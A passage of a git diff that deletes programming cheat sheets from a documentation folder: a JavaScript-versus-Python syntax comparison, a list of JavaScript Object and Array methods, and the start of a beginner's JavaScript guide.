-parseInt('2') + 4; // number 6
-Number('2') + 4; // number 6
-```
-
-#### Python
-
-```python
-a = 12       # int (integer)
-b = 1.2      # float (floating point)
-c = 'hello'  # str (string)
-d = "world"  # str
-e = False    # bool (boolean)
-f = None     # null value
-```
-
-Multi-line strings:
-
-```python
-s = """this is a
-multi-line string"""
-```
-
-Parameterized strings:
-
-```python
-x = 12
-print(f'x is {x}')   # prints "x is 12"
-```
-
-Python is generally _strongly typed_ so it it will often complain if you try to mix and match types. You can coerce a type with the `int()`, `float()`, `str()`, and `bool()` functions.
-
-```python
-"2" + 4        # ERROR: can't mix types
-int("2") + 4   # integer 6
-"2" + str(4)   # string 24
-```
-
-### Arrays/Lists
-
-#### JavaScript
-
-In JS, lists are called _arrays_.
-
-Arrays are zero-based.
-
-Creating lists:
-
-```js
-let a1 = new Array(); // Empty array
-let a2 = new Array(10); // Array of 10 elements
-let a3 = []; // Empty array
-let a4 = [10, 20, 30]; // Array of 3 elements
-let a5 = [1, 2, 'b']; // No problem
-```
-
-Accessing:
-
-```js
-console.log(a4[1]); // prints 20
-
-a4[0] = 5; // change from 10 to 5
-a4[20] = 99; // OK, makes a new element at index 20
-```
-
-Length/number of elements:
-
-```js
-a4.length; // 3
-```
-
-#### Python
-
-In Python, arrays are called _lists_.
-
-Lists are zero-based.
-
-Creating lists:
-
-```python
-a1 = list()          # Empty list
-a2 = list((88, 99))  # List of two elements
-a3 = []              # Empty list
-a4 = [10, 20, 30]    # List of 3 elements
-a5 = [1, 2, "b"]     # No problem
-```
-
-Accessing:
-
-```python
-print(a4[1])  # prints 20
-
-a4[0] = 5;    # change from 10 to 5
-a4[20] = 99;  # ERROR: assignment out of range
-```
-
-Length/Number of elements:
-
-```python
-len(a4)   # 3
-```
-
-**Slices**
-
-In Python, we can access parts of lists or strings using slices.
-
-Creating slices:
-
-```python
-a[start:end] # items start through end-1
-a[start:]    # items start through the rest of the array
-a[:end]      # items from the beginning through end-1
-a[:]         # a copy of the whole array
-```
-
-Starting from the end: We can also use negative numbers when creating slices, which just means we start with the index at the end of the array, rather than the index at the beginning of the array.
-
-```python
-a[-1]    # last item in the array
-a[-2:]   # last two items in the array
-a[:-2]   # everything except the last two items
-```
-
-**Tuples**
-
-Python supports a read-only type of list called a _tuple_.
-
-```python
-x = (1, 2, 3)
-print(x[1])  # prints 2
-
-y = (10,)    # A tuple of one element, comma required
-```
-
-**List Comprehensions**
-
-Python supports building lists with _list comprehensions_. This is often useful for filtering lists.
-
-```python
-a = [1, 2, 3, 4, 5]
-
-# Make a list b that is the same as list a:
-b = [i for i in a]  # Pretty boring
-
-# Make a list c that contains only the
-# even elements of a:
-c = [i for i in a if i % 2 == 0]
-```
-
-### Objects/Dicts
-
-#### JavaScript
-
-_Objects_ hold data which can be found by a specific key called a _property_.
-
-Creation:
-
-```js
-let o1 = {}; // empty object
-let o2 = { x: 12 }; // one property
-let o3 = { y: 'hello' }; // property quotes optional
-
-let o4 = {
-    // common multiline format
-    a: 20,
-    b: 1.2,
-    foo: 'hello'
-};
-```
-
-Access:
-
-```js
-console.log(o2.x); // prints 12
-console.log(o4['foo']); // prints hello
-```
-
-#### Python
-
-_Dicts_ hold information that can be accessed by a _key_.
-
-Unlike objects in JS, a `dict` is its own beast, and is not the same as an object obtained by instantiating a Python class.
-
-Creation:
-
-```python
-o1 = {}           # empty dict
-o2 = {"x": 12}    # one key
-o3 = {y: "hello"} # ERROR: key quotes required,
-                  # unless y is a variable
-                  # that holds a value you wish
-                  # to use as a key
-
-o4 = {  # multiline format
-  "a": 20,
-  "b": 1.2,
-  "foo": "hello"
-}
-```
-
-Access:
-
-```python
-print(o4["a"])  # Prints 20
-```
-
-Dot notation does not work with Python dicts.
-
-### String Formatting
-
-#### JavaScript
-
-Converting to different number bases:
-
-```js
-let x = 237;
-let x_binary = x.toString(2); // string '11101101'
-let x_hex = x.toString(16); // string 'ed'
-```
-
-Controlling floating point precision:
-
-```js
-let x = 3.1415926535;
-let y = x.toFixed(2); // string '3.14'
-```
-
-Padding and justification:
-
-```js
-let s = 'Hello!';
-let t = s.padStart(10, ' '); // string '    Hello!'
-let u = s.padEnd(10, ' '); // string 'Hello!    '
-
-let v = s.padStart(10, '*'); // string '****Hello!'
-
-// Pad with leading zeroes
-(12).toString(2).padStart(8, '0'); // string '00001100'
-```
-
-Parameterized strings:
-
-```js
-let x = 3.1415926;
-let y = 'Hello';
-let z = 67;
-
-// 'x is 3.14, y is "Hello", z is 01000011'
-let s = `x is ${x.toFixed(2)}, y is "${y}", z is ${z.toString(2).padStart(8, '0')}`;
-```
-
-#### Python
-
-Python has the printf operator `%` which is tremendously powerful. (If the operands to `%` are numbers, modulo is performed. If the left operand is a string, printf is performed.)
-
-But even `%` is being superseded by the `format` function.
-
-[Tons of details at pyformat.info](https://pyformat.info).
-
-Also see [printf-style String Formatting](https://docs.python.org/3/library/stdtypes.html#printf-style-string-formatting) for a reference.
-
-### Booleans and Conditionals
-
-#### JavaScript
-
-Literal boolean values:
-
-```js
-x = true;
-y = false;
-```
-
-Boolean operators:
-
-| Operator | Definition            |
-| -------- | --------------------- |
-| `==`     | Equality              |
-| `!=`     | Inequality            |
-| `===`    | Strict equality       |
-| `!==`    | Strict inequality     |
-| `<`      | Less than             |
-| `>`      | Greater than          |
-| `<=`     | Less than or equal    |
-| `>=`     | Greater than or equal |
-
-The concept of strict equality/inequality applies to items that might normally be converted into a compatible type. The strict tests will consider if the types themselves are the same.
-
-```js
-0 == '0'; // true
-0 === '0'; // false
-
-0 == []; // true
-0 === []; // false
-
-0 == 0; // true
-0 === 0; // true
-```
-
-Logical operators:
-
-| Operator | Description          |
-| -------- | -------------------- |
-| `!`      | Logical inverse, not |
-| `&&`     | Logical AND          |
-| \`       | \`                   |
-
-The not operator `!` can be used to test whether or not a value is "truthy".
-
-```js
-!0; // true
-!!0; // false
-!1; // false
-!null; // true
-!'0'; // false, perhaps unexpectedly
-!'x'; // false
-```
-
-Example:
-
-```js
-if (a == 2 && b !== '') {
-    // Something complicated
-}
-```
-
-#### Python
-
-Literal boolean values:
-
-```python
-x = True
-y = False
-```
-
-Boolean operators:
-
-| Operator | Definition            |
-| -------- | --------------------- |
-| `==`     | Equality              |
-| `!=`     | Inequality            |
-| `<`      | Less than             |
-| `>`      | Greater than          |
-| `<=`     | Less than or equal    |
-| `>=`     | Greater than or equal |
-
-Logical operators:
-
-| Operator | Description          |
-| -------- | -------------------- |
-| `not`    | Logical inverse, not |
-| `and`    | Logical AND          |
-| `or`     | Logical OR           |
-
-The `not` operator can be used to test whether or not a value is "truthy".
-
-```python
-not 0      # true
-not not 0  # false
-not 1      # false
-not None;  # true
-not "0"    # false, perhaps unexpectedly
-not "x"    # false
-```
-
-Example:
-
-```python
-if a == 2 and b != "":
-  # Something complicated
-```
-
-### `for` Loops
-
-#### JavaScript
-
-C-style `for` loops:
-
-```js
-for (let i = 0; i < 10; i++) {
-    console.log(i);
-}
-```
-
-`for`-`in` loops iterate over the properties of an object or indexes of an array:
-
-```js
-a = [10, 20, 30];
-
-for (let i in a) {
-  console.log(i);    # 0  1  2
-  console.log(a[i]); # 10 20 30
-}
-
-b = {'x': 77, 'y': 88, 'z': 99};
-
-for (let i in b) {
-  console.log(i);    # x  y  z
-  console.log(b[i]); # 77 88 99
-}
-```
-
-`for`-`of` loops access the values within the array (as opposed to the indexes of the array):
-
-```js
-a = [10, 20, 30];
-
-for (let i of a) {
-  console.log(i);  # 10 20 30
-}
-```
-
-#### Python
-
-`for`-`in` loops over an _iteratable_. This can be a list, object, or other type of iterable item.
-
-Counting loops:
-
-```python
-# Use the range() function to count:
-for i in range(10):
-  print(i)   # Prints 0-9
-
-for i in range(20, 30):
-  print(i)   # Prints 20-29
-
-for i in range(-10, 20, 3):
-  print(i)   # Print every 3rd number from -10 to 19
-```
-
-Iterating over other types:
-
-```python
-# A list
-a = [10, 20, 30]
-
-# Print 10 20 30
-for i in a:
-  print(i)
-
-# A dict
-b = {'x':5, 'y':15, 'z':0}
-
-# Print x y z (the keys of the dict)
-for i in b:
-  print(i)
-```
-
-### `while` Loops
-
-#### JavaScript
-
-C-style `while` and `do`-`while`:
-
-```js
-// Print 10 down to 0:
-
-let x = 10;
-while (x >= 0) {
-  console.log(x);
-  x--;
-}
-
-// Print 0 up to 9:
-let x = 0;
-do {
-  console.log(x);
-  x++;
-while (x < 10);
-```
-
-#### Python
-
-Python has a `while` loop:
-
-```python
-# Print from 10 down through 0
-x = 10
-while x >= 0:
-  print(x)
-  x -= 1
-```
-
-### `switch` Statement
-
-#### JavaScript
-
-JS can switch on various data types:
-
-```js
-switch (x) {
-    case 'foo':
-        console.log('x is foo, all right');
-        break;
-    case 23:
-        console.log('but here x is 23');
-        break;
-    default:
-        console.log('x is something else entirely');
-}
-```
-
-#### Python
-
-Python doesn't have a `switch` statement. You can use `if`-`elif`-`else` blocks.
-
-A somewhat clumsy approximation of a `switch` can be constructed with a `dict` of functions.
-
-```python
-def func1():
-  print("case 1 is hit")
-
-def func2():
-  print("case 2 is hit")
-
-def func3():
-  print("case 3 is hit")
-
-funcs = {
-  "alpha": func1,
-  "bravo": func2,
-  "charlie": func3
-};
-
-x = "bravo"
-funcs[x]()  # calls func2
-```
-
-### `if` Conditionals
-
-#### JavaScript
-
-JS uses C-style `if` statements:
-
-```js
-if (x == 10) {
-    console.log('x is 10');
-} else if (x == 20) {
-    console.log('x is 20');
-} else {
-    console.log('x is something else');
-}
-```
-
-#### Python
-
-Python notably uses `elif` instead of `else if`.
-
-```python
-if x == 10:
-  print("x is 10")
-elif x == 20:
-  print("x is 20")
-else:
-  print("x is something else")
-```
-
-### Classes
-
-#### JavaScript
-
-The current object is referred to by `this`.
-
-Pre ES-2015, classes were created using functions. This is now outdated.
-
----
-
-```js
-function Goat(color) {
-    this.legs = 4;
-    this.color = color;
-}
-
-g = new Goat('brown');
-```
-
-JS uses prototypal inheritance. Pre ES-2015, this was explicit, and is also outdated:
-
----
-
-```js
-function Creature(type) {
-    this.type = type;
-}
-
-// Make Goats inherit from Creature:
-Goat.prototype = new Creature('mammal');
-
-// Add a method:
-Goat.prototype.jump = function () {
-    console.log("I'm jumping! Yay!");
-};
-
-g = new Goat('red');
-g.type; // "mammal", since Goat inherits from Creature
-g.jump(); // "I'm jumping! Yay!"
-```
-
-Modern JS introduced the `class` keyword and a syntax more familiar to most other OOP languages. Note that the inheritance model is still prototypal inheritance; it's just that the details are hidden from the developer.
-
-```js
-class Creature {
-    constructor(type) {
-        this.type = type;
-    }
-}
-
-class Goat extends Creature {
-    constructor(color) {
-        super('mammal');
-        this.legs = 4;
-        this.color = color;
-    }
-
-    jump() {
-        console.log("I'm jumping! Yay!");
-    }
-}
-
-g = new Goat('orange');
-g.type; // "mammal"
-g.jump(); // "I'm jumping! Yay!"
-```
-
-JS does not support multiple inheritance since each object can only have one prototype object. You have to use a _mix-in_ if you want to achieve similar functionality.
-
-#### Python
-
-The current object is referred to by `self`. Note that `self` is explicitly present as the first parameter in object methods.
-
-Python 2 syntax:
-
-```python
-class Creature:
-  def __init__(self, type): # constructor
-    self.type = type
-
-class Goat(Creature):
-  def __init__(self, color):
-    # call super constructor
-    Creature.__init__(self, "mammal")
-    self.color = color
-
-  def jump(self):
-    print("I'm jumping! Yay!")
-
-g = Goat("green")
-g.type    # mammal
-g.jump()  # I'm jumping! Yay!
-```
-
-Python 3 syntax includes the new `super()` keyword to make life easier.
-
-```python
-class Creature:
-  def __init__(self, type): # constructor
-    self.type = type
-
-class Goat(Creature):
-  def __init__(self, color):
-    # call super constructor
-    super().__init__("mammal")  # <-- Nicer!
-    self.color = color
-
-  def jump(self):
-    print("I'm jumping! Yay!")
-
-g = Goat("green")
-g.type    # mammal
-g.jump()  # I'm jumping! Yay!
-```
-
-Python supports multiple inheritance.
diff --git a/docs/content/cheat-sheets/javascript.js b/docs/content/cheat-sheets/javascript.js
deleted file mode 100644
index b47fbe6f6a..0000000000
--- a/docs/content/cheat-sheets/javascript.js
+++ /dev/null
@@ -1,161 +0,0 @@
-/* *******************************************************************************************
- * GLOBAL OBJECTS > OBJECT
- * https:
-//developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object
-//---------------------------------------------------------------------------\\
-
-// Global object: properties
-Object.length
-// length is a property of a function object, and indicates how many arguments the function expects, i.e. the number of formal parameters. This number does not include the rest parameter. Has a value of 1.
-Object.prototype
-// Represents the Object prototype object and allows to add new properties and methods to all objects of type Object.
-
-// Methods of the Object constructor
-Object.assign(target, ...sources)
-// Copies the values of all enumerable own properties from one or more source objects to a target object. method is used to copy the values of all enumerable own properties from one or more source objects to a target object. It will return the target object
-Object.create(MyObject)
-// Creates a new object with the specified prototype object and properties. The object which should be the prototype of the newly-created object.
-Object.defineProperty(obj, prop, descriptor)
-// Adds the named property described by a given descriptor to an object.
-Object.defineProperties(obj, props)
-// Adds the named properties described by the given descriptors to an object.
-Object.entries(obj)
-// Returns an array containing all of the [key, value] pairs of a given object's own enumerable string properties.
-Object.freeze(obj)
-// Freezes an object: other code can't delete or change any properties.
-Object.getOwnPropertyDescriptor(obj, prop)
-// Returns a property descriptor for a named property on an object.
-Object.getOwnPropertyDescriptors(obj)
-// Returns an object containing all own property descriptors for an object.
-Object.getOwnPropertyNames(obj)
-// Returns an array containing the names of all of the given object's own enumerable and non-enumerable properties.
-Object.getOwnPropertySymbols(obj)
-// Returns an array of all symbol properties found directly upon a given object.
-Object.getPrototypeOf(obj)
-// Returns the prototype of the specified object.
-Object.is(value1, value2);
-// Compares if two values are the same value. Equates all NaN values (which differs from both Abstract Equality Comparison and Strict Equality Comparison).
-Object.isExtensible(obj)
-// Determines if extending of an object is allowed.
-Object.isFrozen(obj)
-// Determines if an object was frozen.
-Object.isSealed(obj)
-// Determines if an object is sealed.
-Object.keys(obj)
-// Returns an array containing the names of all of the given object's own enumerable string properties.
-Object.preventExtensions(obj)
-// Prevents any extensions of an object.
-Object.seal(obj)
-// Prevents other code from deleting properties of an object.
-Object.setPrototypeOf(obj, prototype)
-// Sets the prototype (i.e., the internal [[Prototype]] property).
-Object.values(obj)
-// Returns an array containing the values that correspond to all of a given object's own enumerable string properties.
-
-// Object instances and Object prototype object (Object.prototype.property or Object.prototype.method())
-// Properties
-obj.constructor
-// Specifies the function that creates an object's prototype.
-obj.__proto__
-// Points to the object which was used as prototype when the object was instantiated.
-
-// Methods
-obj.hasOwnProperty(prop)
-// Returns a boolean indicating whether an object contains the specified property as a direct property of that object and not inherited through the prototype chain.
-prototypeObj.isPrototypeOf(object)
-// Returns a boolean indicating whether the object this method is called upon is in the prototype chain of the specified object.
-obj.propertyIsEnumerable(prop)
-// Returns a boolean indicating if the internal ECMAScript [[Enumerable]] attribute is set.
-obj.toLocaleString()
-// Calls toString().
-obj.toString()
-// Returns a string representation of the object.
-object.valueOf()
-// Returns the primitive value of the specified object.
-/* *******************************************************************************************
- * GLOBAL OBJECTS > ARRAY
- * https:
-//developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array
-//---------------------------------------------------------------------------\\
-
-// Global object: properties
-Array.length
-// Reflects the number of elements in an array.
-Array.prototype
-// Represents the prototype for the Array constructor and allows to add new properties and methods to all Array objects.
-
-// Global object: methods
-Array.from(arrayLike[, mapFn[, thisArg]])
-// Creates a new Array instance from an array-like or iterable object.
-Array.isArray(obj)
-// Returns true if a variable is an array, if not false.
-Array.of(element0[, element1[, ...[, elementN]]])
-// Creates a new Array instance with a variable number of arguments, regardless of number or type of the arguments.
-
-// Instance: properties
-arr.length
-// Reflects the number of elements in an array.
-
-// Instance: mutator methods
-arr.copyWithin(target, start, end)
-// Copies a sequence of array elements within the array.
-arr.fill(value, start, end)
-// Fills all the elements of an array from a start index to an end index with a static value.
-arr.pop()
-// Removes the last element from an array and returns that element.
-arr.push([element1[, ...[, elementN]]])
-// Adds one or more elements to the end of an array and returns the new length of the array.
-arr.reverse()
-// Reverses the order of the elements of an array in place — the first becomes the last, and the last becomes the first.
-arr.shift()
-// Removes the first element from an array and returns that element.
-arr.sort()
-// Sorts the elements of an array in place and returns the array.
-array.splice(start, deleteCount, item1, item2, ...)
-// Adds and/or removes elements from an array.
-arr.unshift([element1[, ...[, elementN]]])
-// Adds one or more elements to the front of an array and returns the new length of the array.
-
-// Instance: accessor methods
-arr.concat(value1[, value2[, ...[, valueN]]])
-// Returns a new array comprised of this array joined with other array(s) and/or value(s).
-arr.includes(searchElement, fromIndex)
-// Determines whether an array contains a certain element, returning true or false as appropriate.
-arr.indexOf(searchElement[, fromIndex])
-// Returns the first (least) index of an element within the array equal to the specified value, or -1 if none is found.
-arr.join(separator)
-// Joins all elements of an array into a string.
-arr.lastIndexOf(searchElement, fromIndex)
-// Returns the last (greatest) index of an element within the array equal to the specified value, or -1 if none is found.
-arr.slice(begin, end)
-// Extracts a section of an array and returns a new array.
-arr.toString()
-// Returns a string representing the array and its elements. Overrides the Object.prototype.toString() method.
-arr.toLocaleString(locales, options)
-// Returns a localized string representing the array and its elements. Overrides the Object.prototype.toLocaleString() method.
-
-// Instance: iteration methods
-arr.entries()
-// Returns a new Array Iterator object that contains the key/value pairs for each index in the array.
-arr.every(callback[, thisArg])
-// Returns true if every element in this array satisfies the provided testing function.
-arr.filter(callback[, thisArg])
-// Creates a new array with all of the elements of this array for which the provided filtering function returns true.
-arr.find(callback[, thisArg])
-// Returns the found value in the array, if an element in the array satisfies the provided testing function or undefined if not found.
-arr.findIndex(callback[, thisArg])
-// Returns the found index in the array, if an element in the array satisfies the provided testing function or -1 if not found.
-arr.forEach(callback[, thisArg])
-// Calls a function for each element in the array.
-arr.keys()
-// Returns a new Array Iterator that contains the keys for each index in the array.
-arr.map(callback[, initialValue])
-// Creates a new array with the results of calling a provided function on every element in this array.
-arr.reduce(callback[, initialValue])
-// Apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value.
-arr.reduceRight(callback[, initialValue])
-// Apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value.
-arr.some(callback[, initialValue])
-// Returns true if at least one element in this array satisfies the provided testing function.
-arr.values()
-// Returns a new Array Iterator object that contains the values for each index in the array.
diff --git a/docs/content/cheat-sheets/javascript.md b/docs/content/cheat-sheets/javascript.md
deleted file mode 100644
index a966a994e8..0000000000
--- a/docs/content/cheat-sheets/javascript.md
+++ /dev/null
@@ -1,922 +0,0 @@
----
-title: JavaScript Cheat Sheet
-excerpt: >-
-    Work at home parent is an entrepreneur who works from home and integrates
-    parenting into his or her business activities. They are sometimes referred to
-    as a WAHM (work at home mom) or a WAHD (work at home dad).
-date: '2016-08-22'
-thumb_img_path: images/ampersand.jpg
-thumb_img_alt: A man sitting at the table
-content_img_path: images/ampersand.jpg
-content_img_alt: A man sitting at the table
-seo:
-    title: JavaScript Cheat Sheet
-    description: Work at home parent is an entrepreneur who works from home
-    extra:
-        - name: 'og:type'
-          value: article
-          keyName: property
-        - name: 'og:title'
-          value: JavaScript Cheat Sheet
-          keyName: property
-        - name: 'og:description'
-          value: Work at home parent is an entrepreneur who works from home
-          keyName: property
-        - name: 'og:image'
-          value: images/ampersand.jpg
-          keyName: property
-          relativeUrl: true
-        - name: 'twitter:card'
-          value: summary_large_image
-        - name: 'twitter:title'
-          value: JavaScript Cheat Sheet
-        - name: 'twitter:description'
-          value: Work at home parent is an entrepreneur who works from home
-        - name: 'twitter:image'
-          value: images/ampersand.jpg
-          relativeUrl: true
-template: post
----
-
-## Background:
-
-# The Beginner's Guide To JavaScript
-
-Part 1
-
----
-
-### The Beginner's Guide To JavaScript
-
-#### Part 1
-
-<figure><img src="https://cdn-images-1.medium.com/max/1200/1*Cg0j-L4ZHN7_5g2In-K-Ew.png" class="graf-image" /></figure>
-
-### How to learn effectively
-
-**Learning**: The acquisition of skills and the ability to apply them in the future.
-
-**What makes an Effective learner?**
-
--   <span id="8498">They are active listeners.</span>
--   <span id="bc0a">They are engaged with the material.</span>
--   <span id="99d3">They are receptive of feedback.</span>
--   <span id="b615">They are open to difficulty.</span>
-
-**Why do active learning techniques feel difficult?**
-
--   <span id="9a75">It feels difficult because you are constantly receiving feedback, and so you are constantly adapting and perfecting the material.</span>
-
-**Desirable Difficulty**
-
--   <span id="3c8a">The skills we wish to obtain is often a difficult one.</span>
--   <span id="a83e">We want challenging but possible lessons based on current level of skill.</span>
-
-**Effective learners space their practice**
-
--   <span id="a7b3">Consistent effort &gt; cramming =&gt; for **durable knowledge**</span>
-
----
-
-#### Here's a REPL to practice with:
-
-<a href="https://replit.com/@bgoonz/lambda-prep#README.html" class="markup--anchor markup--mixtapeEmbed-anchor" title="https://replit.com/@bgoonz/lambda-prep#README.html"><strong>lambda-prep</strong><br />
-<em>pre-course-work</em>replit.com</a><a href="https://replit.com/@bgoonz/lambda-prep#README.html" class="js-mixtapeImage mixtapeImage u-ignoreBlock"></a>
-
----
-
-<a href="https://lambda-prep.netlify.app/" class="markup--anchor markup--mixtapeEmbed-anchor" title="https://lambda-prep.netlify.app/"><strong>INTRO@JSWEB</strong><br />
-<em>Resource-sharing-hub</em>lambda-prep.netlify.app</a><a href="https://lambda-prep.netlify.app/" class="js-mixtapeImage mixtapeImage mixtapeImage--empty u-ignoreBlock"></a>
-
----
-
-### Hello World
-
--   <span id="d452">**console.log** : command used to print something onto the screen.</span>
--   <span id="99ad">**syntax** : the exact arrangement of the symbols, characters, and keywords in our code.</span>
--   <span id="a287">**//** : notation for creating a code comment in JS.</span>
--   <span id="e2e6">**code comment** : useful for annotating pieces of code to explain how something works, ignored by computer.</span>
-
-> **_"Simplicity is prerequisite for reliability." — Edsger W. Dijkstra_**
-
----
-
-### The Number Data Type
-
-The **number** data type in JS is used to represent any numerical values, including integers and decimal numbers.
-
-**Basic Arithmetic Operators**
-
-Operators are the symbols that perform particular operations.
-
--   <span id="b0ed">**+** (addition)</span>
--   <span id="53d9">**-** (subtraction)</span>
--   <span id="93f2">**asterisk** (multiplication)</span>
--   <span id="92d8">**/** (division)</span>
--   <span id="21c1">**%** (modulo)</span>
-
-JS evaluates more complex expressions using the general math order of operations aka PEMDAS.
-
--   <span id="d1a4">**PEMDAS** : Parentheses, Exponents, Multiplication, Division, Modulo, Addition, Subtraction.</span>
--   <span id="81a2">_To force a specific order of operation, use the group operator ( ) around a part of the expression._</span>
-
-**Modulo** : Very useful operation to check divisibility of numbers, check for even & odd, whether a number is prime, and much more! _(Discrete Math concept, circular problems can be solved with modulo)_
-
--   <span id="20ad">Whenever you have a smaller number % a larger number, the answer will just be the initial small number.</span>
--   <span id="2fbf">`console.log(7 % 10); // => 7;`</span>
-
----
-
-### The String Data Type
-
-The **string** data type is a primitive data type that used to represent textual data.
-
--   <span id="310e">can be wrapped by either **single** or **double** quotation marks, _best to choose one and stick with it for consistency_.</span>
--   <span id="664c">If your string contains quotation marks inside, can layer single or double quotation marks to allow it to work.</span>
--   <span id="46e7">`"That's a great string"; (valid)`</span>
--   <span id="4667">`'Shakespeare wrote, "To be or not to be"'; (valid)`</span>
--   <span id="9674">`'That's a bad string'; (invalid)`</span>
--   <span id="74cb">Alt. way to add other quotes within strings is to use template literals.</span>
--   <span id="caf5">`` `This is a temp'l'ate literal ${function}` // use ${} to invoke functions within. ``</span>
--   <span id="9144">**.length** : property that can be appended to data to return the length.</span>
--   <span id="afa8">empty strings have a length of zero.</span>
--   <span id="69ac">**indices** : indexes of data that begin at 0, can call upon index by using the bracket notation \[ \].</span>
-
-`console.log("bootcamp"[0]); // => "b"`
-
-`console.log("bootcamp"[10]); // => "undefined"`
-
-`console.log("boots"[1 * 2]); // => "o"`
-
-`console.log("boots"["boot".length - 1]); // => "t"`
-
--   <span id="cb8b">we can pass expressions through the brackets as well since JS always evaluates expressions first.</span>
--   <span id="a30f">The index of the last character of a string is always one less than it's length.</span>
--   <span id="3080">**indexOf()** : method used to find the first index of a given character within a string.</span>
--   <span id="442d">`console.log("bagel".indexOf("b")); // => 0 console.log("bagel".indexOf("z")); // => -1`</span>
--   <span id="7ddd">if the character inside the indexOf() search does not exist in the string, the output will be -1.</span>
--   <span id="7e6a">the indexOf() search will return the first instanced index of the the char in the string.</span>
--   <span id="8729">**concatenate** : word to describe joining strings together into a single string.</span>
-
----
-
-### The Boolean Data Type
-
-The **boolean** data type is the simplest data type since there are only two values: **true** and **false**.
-
--   <span id="fcde">**Logical Operators** (B*oolean Operators*) are used to establish logic in our code.</span>
--   <span id="bd34">**!** (not) : reverses a boolean value.</span>
--   <span id="bdba">`console.log(!true); // => false console.log(!!false); // => false`</span>
--   <span id="cc27">**&&** (and) **Truth Table**</span>
-
-<figure><img src="https://cdn-images-1.medium.com/max/800/1*Aw4iCm7-FQ7znEcBVH3FTw.png" class="graf-image" /></figure>-   <span id="a087">**Logical Order of Operations** : JS will evaluate !, then &&, then ||.</span>
--   <span id="295f">**De Morgan's Law** : Common mistake in boolean logic is incorrectly distributing ! across parentheses.</span>
--   <span id="7400">`!(A || B) === !A && !B; !(A && B) === !A || !B;`</span>
--   <span id="26c2">In summary, to correctly distribute ! across parentheses we must also flip the operation within.</span>
--   <span id="a8c1">**Short-Circuit Evaluation** : Because JS evalutes from left to right, expressions can "short-circuit". For example if we have true on the left of an || logical comparison, it will stop evaluating and yield true instead of wasting resources on processing the rest of the statement.</span>
--   <span id="58a3">`console.log(true || !false); // => stops after it sees "true ||"`</span>
-
----
-
-### Comparison Operators
-
-All comparison operators will result in a boolean output.
-
-**The relative comparators**
-
--   <span id="0e52">**&gt;** (greater than)</span>
--   <span id="f979">**&lt;** (less than)</span>
--   <span id="73da">**&gt;=** (greater than or equal to)</span>
--   <span id="1620">**&lt;=** (less than or equal to)</span>
--   <span id="fb41">**===** (equal to)</span>
--   <span id="0fd1">**!==** (not equal to)</span>
-
-> _Fun Fact: "a" &lt; "b" is considered valid JS Code because string comparisons are compared lexicographically (meaning dictionary order), so "a" is less than "b" because it appears earlier!_
-
-> _If there is ever a standstill comparison of two string lexicographically (i.e. app vs apple) the comparison will deem the shorter string lesser._
-
-**Difference between == and ===**
-
--   <span id="8cc0">**===** : Strict Equality, will only return true if the two comparisons are entirely the same.</span>
--   <span id="b25c">**==** : Loose Equality, will return true even if the values are of a different type, due to coercion. (Avoid using this)</span>
-
----
-
-### Variables
-
-Variables are used to store information to be referenced and manipulated in a program.
-
--   <span id="e2b7">We initialize a variable by using the **let** keyword and a **=** single equals sign (assignment operator).</span>
--   <span id="e03b">`let bootcamp = "Lambda"; console.log(bootcamp); // "Lambda"`</span>
--   <span id="2e71">JS variable names can contain any alphanumeric characters, underscores, or dollar signs (cannot being with a number).</span>
--   <span id="6ab7">If you do not declare a value for a variable, undefined is automatically set.</span>
--   <span id="0c6f">`let bootcamp; console.log(bootcamp); // undefined`</span>
--   <span id="1f9a">We can change the value of a previously declared variable (let, not const) by re-assigning it another value.</span>
--   <span id="9e00">**let** is the updated version of **var**; there are some differences in terms of hoisting and global/block scope — will be covered later in the course (common interview question!)</span>
-
-**Assignment Shorthand**
-
-    let num = 0;
-    num += 10; // same as num = num + 10
-    num -= 2; // same as num = num - 2
-    num /= 4; // same as num = num / 4
-    num *= 7; // same as num = num * 7
-
--   <span id="ab22">In general, any nonsensical arithmetic will result in **NaN** ; usually operations that include undefined.</span>
--   <span id="22c2">**declaration** : process of simply introducing a variable name.</span>
--   <span id="caeb">**initialization** : process of both declaring and assigning a variable on the same line.</span>
-
----
-
-### Functions
-
-A function is a procedure of code that will run when called. Functions are used so that we do not have to rewrite code to do the same thing over and over. (Think of them as ‘subprograms')
-
--   <span id="4c89">**Function Declaration** : Process when we first initially write our function.</span>
--   <span id="d3fe">Includes three things:</span>
--   <span id="b57c">Name of the function.</span>
--   <span id="dfea">A list of _parameters_ ()</span>
--   <span id="da88">The code to execute {}</span>
--   <span id="8eb3">**Function Calls** : We can call upon our function whenever and wherever\* we want. (\*wherever is only after the initial declaration)</span>
--   <span id="cb1d">JS evaluates code top down, left to right.</span>
--   <span id="9cb4">When we execute a declared function later on in our program we refer to this as **invoking** our function.</span>
--   <span id="fde3">Every function in JS returns undefined unless otherwise specified.</span>
--   <span id="059e">When we hit a **return** statement in a function we immediately exit the function and return to where we called the function.</span>
--   <span id="d906">When naming functions in JS always use camelCase and name it something appropriate. &gt; Greate code reads like English and almost explains itself. Think: Elegant, readable, and maintainable!</span>
-
----
-
-### Parameters and Arguments
-
--   <span id="eb19">**Parameters** : Comma seperated variables specified as part of a function's declaration.</span>
--   <span id="6abb">**Arguments** : Values passed to the function when it is invoked.</span>
--   <span id="ab31">_If the number of arguments passed during a function invocation is different than the number of parameters listed, it will still work._</span>
--   <span id="12ee">However, is there are not enough arguments provided for parameters our function will likely yield **Nan**.</span>
-
----
-
-# Cheat Sheet:
-
-```js
-
-// Single-line comments start with two slashes.
-/* Multiline comments start with slash-star,
-   and end with star-slash */
-
-// Statements can be terminated by ;
-doStuff();
-
-// ... but they don't have to be, as semicolons are automatically inserted
-// wherever there's a newline, except in certain cases.
-doStuff()
-
-// Because those cases can cause unexpected results, we'll keep on using
-// semicolons in this guide.
-
-///////////////////////////////////
-// 1. Numbers, Strings and Operators
-
-// JavaScript has one number type (which is a 64-bit IEEE 754 double).
-// Doubles have a 52-bit mantissa, which is enough to store integers
-// up to about 9✕10¹⁵ precisely.
-3; // = 3
-1.5; // = 1.5
-
-// Some basic arithmetic works as you'd expect.
-1 + 1; // = 2
-0.1 + 0.2; // = 0.30000000000000004
-8 - 1; // = 7
-10 * 2; // = 20
-35 / 5; // = 7
-
-// Including uneven division.
-5 / 2; // = 2.5
-
-// And modulo division.
-10 % 2; // = 0
-30 % 4; // = 2
-18.5 % 7; // = 4.5
-
